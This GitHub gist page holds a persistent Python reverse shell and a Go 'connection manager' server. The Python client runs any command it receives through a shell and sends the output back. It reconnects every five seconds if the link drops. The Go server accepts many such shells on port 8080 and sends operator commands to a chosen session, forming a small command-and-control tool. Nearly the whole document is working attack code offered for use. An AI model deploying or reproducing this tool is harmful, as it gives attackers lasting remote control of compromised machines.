Skip to content

Instantly share code, notes, and snippets.

@superswan
Last active August 2, 2023 16:56
Show Gist options
  • Save superswan/638c8466cf9563174070847ee22260c6 to your computer and use it in GitHub Desktop.
Save superswan/638c8466cf9563174070847ee22260c6 to your computer and use it in GitHub Desktop.
persistent reverse shell in python. reestablishes connection if shell is exited or connection is broken.

Python Persistent Shell + Connection Manager (Go)

Reverse Shell

Python reverse shell that reconnects to server (ncat/socat/connection manager/etc)

Connection Manager

A neat little server written in Go. It can handle multiple sessions from the client.py script or any other valid reverse shell (not tested).

import socket
import subprocess
import time
import threading
def shell(s):
while True:
data = s.recv(1024)
if data.decode("utf-8").strip() == 'exit': # If received command is 'exit', break the loop and close connection
break
if data: # if command is received
cmd = subprocess.Popen(data.decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
output = cmd.stdout.read() + cmd.stderr.read()
s.send(output)
server = 'localhost'
port = 8080
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((server, port))
shell_thread = threading.Thread(target=shell, args=(s,))
shell_thread.start()
shell_thread.join()
s.close()
time.sleep(5) # If connection was closed, wait for 5 seconds before trying to reconnect
except socket.error as e:
print(f"Connection failed: {str(e)}")
time.sleep(5) # If connection attempt failed, wait for 5 seconds before trying to reconnect
package main
import (
"bufio"
"crypto/rand"
"fmt"
"math/big"
"net"
"os"
"strings"
"sync"
)
// client struct to keep track of each client's shell session
type client struct {
conn net.Conn
ip string
port string
id string
}
var clients []*client
var activeClient *client
var mutex = &sync.Mutex{}
func handleConnection(c *client) {
reader := bufio.NewReader(c.conn)
for {
message, err := reader.ReadString('\n')
if err != nil {
fmt.Printf("Error reading from client %s: %v\n", c.id, err)
break
}
message = strings.TrimSpace(message)
if message == "exit" {
break
}
// If this is the active client, print the message
mutex.Lock()
if activeClient == c {
fmt.Printf("%s: %s\n", c.id, message)
}
mutex.Unlock()
}
fmt.Printf("Client %s disconnected\n", c.id)
c.conn.Close()
// Remove the client from the clients slice
for i := range clients {
if clients[i] == c {
clients = append(clients[:i], clients[i+1:]...)
break
}
}
}
// randomID generates a random 8 character ID for clients
func randomID() string {
const idChars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
id := make([]byte, 8)
for i := range id {
randomByte, _ := rand.Int(rand.Reader, big.NewInt(int64(len(idChars))))
id[i] = idChars[randomByte.Int64()]
}
return string(id)
}
func main() {
l, err := net.Listen("tcp", "0.0.0.0:8080")
if err != nil {
fmt.Println("Error listening:", err.Error())
return
}
defer l.Close()
fmt.Println("Server started...")
go func() {
for {
conn, err := l.Accept()
if err != nil {
fmt.Println("Error accepting: ", err.Error())
continue
}
// Split the RemoteAddr into IP and port
ip, port, _ := net.SplitHostPort(conn.RemoteAddr().String())
c := &client{
conn: conn,
ip: ip,
port: port,
id: randomID(),
}
clients = append(clients, c)
fmt.Printf("Client %s connected\n", c.id)
go handleConnection(c)
}
}()
// CLI
reader := bufio.NewReader(os.Stdin)
for {
fmt.Println("\nEnter 'show' to list clients, a client id to switch to that client, or a command to send to the active client:")
input, _ := reader.ReadString('\n')
input = strings.TrimSpace(input)
if input == "show" {
for _, c := range clients {
fmt.Printf("Client ID: %s, IP: %s, Port: %s\n", c.id, c.ip, c.port)
}
} else {
// Check if the input matches a client id
var matchingClient *client
for _, c := range clients {
if c.id == input {
matchingClient = c
break
}
}
if matchingClient != nil {
// Switch to the specified client
mutex.Lock()
activeClient = matchingClient
mutex.Unlock()
fmt.Printf("Switched to client %s\n", activeClient.id)
} else {
// Send the input as a command to the active client
if activeClient != nil {
_, err := activeClient.conn.Write([]byte(input + "\n"))
if err != nil {
fmt.Printf("Error sending command to client %s: %v\n", activeClient.id, err)
}
} else {
fmt.Println("No active client. Please switch to a client first.")
}
}
}
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment